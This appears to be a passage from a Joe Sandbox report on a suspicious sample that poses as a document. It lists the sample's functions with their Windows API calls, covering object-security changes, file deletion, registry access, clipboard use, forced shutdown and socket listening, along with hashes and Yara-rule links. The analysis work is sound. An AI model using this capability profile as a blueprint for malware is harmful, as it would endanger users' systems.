Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlDialogFocusLongMessageNtdllPostProc_RadioWindow_memset
String ID: 0
API String ID: 3616455698-4108050209
Opcode ID: d16d430ca09ae5e0ae1a48701c89f3001a73ee3700d0ff41cbc58b806ae236b3
Instruction ID: e6df7343802064f6f417c250af9285e9133eec916c24142efd60863fbc850130
Opcode Fuzzy Hash: d16d430ca09ae5e0ae1a48701c89f3001a73ee3700d0ff41cbc58b806ae236b3
Instruction Fuzzy Hash: 0F817071208301AFDB60DF14D884A6BBBE4FF88394F00896EF99997291D778DD45CB92

Function 0074B398 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0074B8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0074B903
Part of subcall function 0074B8E7: GetLastError.KERNEL32(?,0074B3CB,?,?,?), ref: 0074B90D
Part of subcall function 0074B8E7: GetProcessHeap.KERNEL32(00000008,?,?,0074B3CB,?,?,?), ref: 0074B91C
Part of subcall function 0074B8E7: RtlAllocateHeap.NTDLL(00000000,?,0074B3CB), ref: 0074B923
Part of subcall function 0074B8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0074B93A

Part of subcall function 0074B982: GetProcessHeap.KERNEL32(00000008,0074B3E1,00000000,00000000,?,0074B3E1,?), ref: 0074B98E
Part of subcall function 0074B982: RtlAllocateHeap.NTDLL(00000000,?,0074B3E1), ref: 0074B995
Part of subcall function 0074B982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,0074B3E1,?), ref: 0074B9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0074B3FC
_memset.LIBCMT ref: 0074B411
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0074B430
GetLengthSid.ADVAPI32(?), ref: 0074B441
GetAce.ADVAPI32(?,00000000,?), ref: 0074B47E
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 0074B49A
GetLengthSid.ADVAPI32(?), ref: 0074B4B7
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 0074B4C6
RtlAllocateHeap.NTDLL(00000000), ref: 0074B4CD
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0074B4EE
CopySid.ADVAPI32(00000000), ref: 0074B4F5
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 0074B526
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 0074B54C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 0074B560

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: 19f5074b57e0a591fbd20fc466cb27d31936ea501f3ba1eeac8c247f13591434
Instruction ID: ead4cf6c264937f981d6c1de9529362c8f681e0f3d9f0f25f0f9071acd922792
Opcode Fuzzy Hash: 19f5074b57e0a591fbd20fc466cb27d31936ea501f3ba1eeac8c247f13591434
Instruction Fuzzy Hash: C9511A71900209EBDF14DFA5DC85AEEBB79FF08300F14812AE915A7291DB39DE15CB64

Function 00742C3C Relevance: 18.3, APIs: 12, Instructions: 275timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00742C5E

Part of subcall function 00738984: __mtinitlocknum.LIBCMT ref: 00738996
Part of subcall function 00738984: RtlEnterCriticalSection.NTDLL(00730127), ref: 007389AF

____lc_codepage_func.LIBCMT ref: 00742CA5
__getenv_helper_nolock.LIBCMT ref: 00742CC6
_free.LIBCMT ref: 00742CF9

Part of subcall function 007328CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00738715,00000000,007388A3,00734673,?), ref: 007328DE
Part of subcall function 007328CA: GetLastError.KERNEL32(00000000,?,00738715,00000000,007388A3,00734673,?), ref: 007328F0

_strlen.LIBCMT ref: 00742D00
__malloc_crt.LIBCMT ref: 00742D07
_strlen.LIBCMT ref: 00742D25
__invoke_watson.LIBCMT ref: 00742D48
_free.LIBCMT ref: 00742D57
GetTimeZoneInformation.KERNEL32(007D0A58,00000000,00000000,00000000,00000000,00000000,007C6B10,00000030,007429F1,007C6AF0,00000008,00735D07), ref: 00742D68
WideCharToMultiByte.KERNEL32(?,00000000,007D0A5C,000000FF,?,0000003F,00000000,?), ref: 00742DE4
WideCharToMultiByte.KERNEL32(?,00000000,007D0AB0,000000FF,FFFFFFFE,0000003F,00000000,?), ref: 00742E1D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ByteCharMultiWide_free_strlen$CriticalEnterErrorFreeHeapInformationLastSectionTimeZone____lc_codepage_func__getenv_helper_nolock__invoke_watson__lock__malloc_crt__mtinitlocknum
String ID:
API String ID: 2302051780-0
Opcode ID: 8a0f8fe68dc9b351f48e524b7b32c57392b01dd9895ff2d8654c69414e1d6f25
Instruction ID: f3515918e9faa155ea0680d7e5e8dbcde043488e4864e40c6008142383f37b6c
Opcode Fuzzy Hash: 8a0f8fe68dc9b351f48e524b7b32c57392b01dd9895ff2d8654c69414e1d6f25
Instruction Fuzzy Hash: 29A1DF71E04215DEDB159F68D889BADBBB8FF49310F94505AF010AB2A2DB3C8C53CB64

Function 00756E4A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 85fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007131B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 007131DA

Part of subcall function 00757C0C: GetFileAttributesW.KERNEL32(?,00756A7B), ref: 00757C0D

_wcscat.LIBCMT ref: 00756E7E
__wsplitpath.LIBCMT ref: 00756E99
FindFirstFileW.KERNEL32(?,?), ref: 00756EAE
_wcscpy.LIBCMT ref: 00756EDD
_wcscat.LIBCMT ref: 00756EEF
_wcscat.LIBCMT ref: 00756F01
DeleteFileW.KERNEL32(?), ref: 00756F0E
FindNextFileW.KERNEL32(00000000,00000010), ref: 00756F22
FindClose.KERNEL32(00000000), ref: 00756F3D

Strings

\*.*, xrefs: 00756E78

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
String ID: \*.*
API String ID: 2643075503-1173974218
Opcode ID: d989c964675aa4ade74e7f7366eac30eecd6ba9af020dfff8b8226af2fac5d7f
Instruction ID: 0133859213cbbf894327564b92e69d77bdd0ed8ece696b8c599140a35cd3ff7f
Opcode Fuzzy Hash: d989c964675aa4ade74e7f7366eac30eecd6ba9af020dfff8b8226af2fac5d7f
Instruction Fuzzy Hash: 2A21C572409348AEC310EBA4D8899DF7BDCAF59314F444A1AF9D4C3042EA38E64D87A2

Function 007730AD Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00773AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00772AA6,?,?), ref: 00773B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0077317F

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0077321E
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 007732B6
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 007734F5
RegCloseKey.ADVAPI32(00000000), ref: 00773502

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 0725e8edb1f79baf08639f3dcd95718eb67b5288041e6d040346f3fa99444a30
Instruction ID: f9914c605f5977d921329fa9aa831f0faa4a7aad39081a89c68c03d5ad9e1cb4
Opcode Fuzzy Hash: 0725e8edb1f79baf08639f3dcd95718eb67b5288041e6d040346f3fa99444a30
Instruction Fuzzy Hash: 8CE16B71204200EFCB15DF28C895D6ABBE8EF88750B04C56DF94ADB2A1DB38ED45DB52

Function 00767294 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 007672BB
EmptyClipboard.USER32 ref: 007672C1
GlobalAlloc.KERNEL32(00000002,?), ref: 007672D6
CloseClipboard.USER32 ref: 00767375

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: aa2bec3c96c11fca4901d2508f48fc3cd5aef7505f828d1ff0a8d579031a2e8e
Instruction ID: fb44c78aacdef2117a2752c24188ddcd9aed15ea4c2d9aaacac7298031f7ee8f
Opcode Fuzzy Hash: aa2bec3c96c11fca4901d2508f48fc3cd5aef7505f828d1ff0a8d579031a2e8e
Instruction Fuzzy Hash: 61216D31204210AFDB24AF65DC59B6D7BA8EF44755F00C01AFD0A9B261DB7CED42CB98

Function 007624A9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 007624F6
Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00762526
_wcscmp.LIBCMT ref: 0076253A
_wcscmp.LIBCMT ref: 00762555
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 007625F3
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00762609

Strings

*.*, xrefs: 007624D8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 13e60e4db8c3c275da065ad6fbe6c1fd7f888d2e04d6152b2c01ea9f0794cb6b
Instruction ID: 26972c2691c2747e09b8ea05dac76097ece25b3b9f507d2a0cff06d5a2c327af
Opcode Fuzzy Hash: 13e60e4db8c3c275da065ad6fbe6c1fd7f888d2e04d6152b2c01ea9f0794cb6b
Instruction Fuzzy Hash: 4641817190460AEFCF65DFA4CC59AEE7BB4FF05310F108456E816A2192E7389E95CF90

Function 00718CA0 Relevance: 11.6, APIs: 1, Strings: 5, Instructions: 1058COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00718FCB
VUUU, xrefs: 0079C736
ERCP, xrefs: 00718D68
VUUU, xrefs: 0071900A
VUUU, xrefs: 00718FDD

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 8479064daa59d51d9fcf5a41986887b2168ffd36fd3b1e2da51765249ead4978
Instruction ID: 5ec956d1c1b937ee2a272d8c82fedb472ce96005d7ccc04f12fcb6e23cfdc8f4
Opcode Fuzzy Hash: 8479064daa59d51d9fcf5a41986887b2168ffd36fd3b1e2da51765249ead4978
Instruction Fuzzy Hash: 2A926A71E0021A8BDF25CF58D8507EDB7B1BB54314F2481AAE919AB2C0E7789DC2DB91

Function 00718530 Relevance: 11.0, APIs: 7, Instructions: 531COMMON

Download Yara Rule

APIs

Part of subcall function 0071A2FB: _memmove.LIBCMT ref: 0071A33D

_memmove.LIBCMT ref: 00718672
_memmove.LIBCMT ref: 007186C2
_memmove.LIBCMT ref: 00718728

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 1462a88d6d704824c80f99204bf3778d4049f8a964a798a145414f7e865822a0
Instruction ID: ff0ab519a84654eaac68afc205e1b24ab860d4c1e5ccdfe41a105c01f3cc30b6
Opcode Fuzzy Hash: 1462a88d6d704824c80f99204bf3778d4049f8a964a798a145414f7e865822a0
Instruction Fuzzy Hash: 7C129C70A00609DFDF04DFA8D985AEEB7F5FF48300F208529E406E7291EB39A951CB65

Function 007582D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 0074BEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0074BF0F
Part of subcall function 0074BEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0074BF3C
Part of subcall function 0074BEC3: GetLastError.KERNEL32 ref: 0074BF49

ExitWindowsEx.USER32(?,00000000), ref: 0075830C

Strings

, xrefs: 007582FA
SeShutdownPrivilege, xrefs: 007582DA
@, xrefs: 007582FF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 1d4a32cf4149338fd0c3dc4c7b8693aab90c1aaa8cf92e0f2d7146378df96097
Instruction ID: f602dead502824409f90cc30ece279c97b6acd4182677a514d5fae23b53c1b07
Opcode Fuzzy Hash: 1d4a32cf4149338fd0c3dc4c7b8693aab90c1aaa8cf92e0f2d7146378df96097
Instruction Fuzzy Hash: 53018471B44215ABE7A85678CC4EBFF7658AB00B82F140425FD43F20D1DFEC9C0981A5

Function 007691DC Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00769235
WSAGetLastError.WS2_32(00000000), ref: 00769244
bind.WS2_32(00000000,?,00000010), ref: 00769260
listen.WS2_32(00000000,00000005), ref: 0076926F
WSAGetLastError.WS2_32(00000000), ref: 00769289
closesocket.WS2_32(00000000), ref: 0076929D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: f9ae9dbc76147bd80e7f031b07085a1e128975ce90cfcf826b5e132b6132c5b7
Instruction ID: 820a31f68de90e743d1ecb85c7363f48b2d9a714407d784796b634bf65b72577
Opcode Fuzzy Hash: f9ae9dbc76147bd80e7f031b07085a1e128975ce90cfcf826b5e132b6132c5b7
Instruction Fuzzy Hash: EA21A231600200EFCB10EF64D959B6EB7A9FF48324F108159F957A72D1C778AD42CB51

Function 00756F5B Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00756F7D
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00756F8D
Process32NextW.KERNEL32(00000000,0000022C), ref: 00756FAC
__wsplitpath.LIBCMT ref: 00756FD0
_wcscat.LIBCMT ref: 00756FE3
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00757022

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
String ID:
API String ID: 1605983538-0
Opcode ID: ede964e3fdc67226a15c5eb3f2b505c78c1e922164ff4171156f4d0e48a72b3c
Instruction ID: b847f6c351c0c044003bd24319611e0cb7211f03bcf87316184bb5bd44f90354
Opcode Fuzzy Hash: ede964e3fdc67226a15c5eb3f2b505c78c1e922164ff4171156f4d0e48a72b3c
Instruction Fuzzy Hash: 99216871904218EBDB20AB94DC89BEEB7FCAB48311F5004A5F945D3141E7B99F85CB60

Function 00716670 Relevance: 8.1, APIs: 2, Strings: 2, Instructions: 1093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007167D0

Strings

hN|, xrefs: 0079216F
tM|, xrefs: 00792183

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove
String ID: hN|$tM|
API String ID: 4104443479-1284067220
Opcode ID: fff6444839c41ec4e22658f3ea3d51c218407161f6df746bfe5f2d924ce0830f
Instruction ID: fb6f5b2ea7d47d8d57a018a0f4a87cd0a977f8fafcbdc92717449eefbf6d0025
Opcode Fuzzy Hash: fff6444839c41ec4e22658f3ea3d51c218407161f6df746bfe5f2d924ce0830f
Instruction Fuzzy Hash: 5FA23975E00219DFCF28CF58D4806EDBBB1BF48314F2581AAD859AB391D7389E81DB90

Function 0071A0C0 Relevance: 8.0, APIs: 5, Instructions: 514COMMON

Download Yara Rule

APIs

Part of subcall function 0073010A: std::exception::exception.LIBCMT ref: 0073013E
Part of subcall function 0073010A: __CxxThrowException@8.LIBCMT ref: 00730153

_memmove.LIBCMT ref: 00783020
_memmove.LIBCMT ref: 00783135
_memmove.LIBCMT ref: 007831DC

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: a11b8e5ee04eec29d03f77594ecf139e0cf9b7a4a73526a9b763d8a89e8a1b6a
Instruction ID: 9e27f86de3b0218dfcdd2ba64dbbf344d7019137319c00f833b3a7e8cc9d1a65
Opcode Fuzzy Hash: a11b8e5ee04eec29d03f77594ecf139e0cf9b7a4a73526a9b763d8a89e8a1b6a
Instruction Fuzzy Hash: 6702A270A00209EFDF04DF68D885AAE77B5FF48700F148069E806DB296EB39DE55CB95

Function 007696E2 Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0076ACD3: inet_addr.WS2_32(00000000), ref: 0076ACF5

socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 0076973D
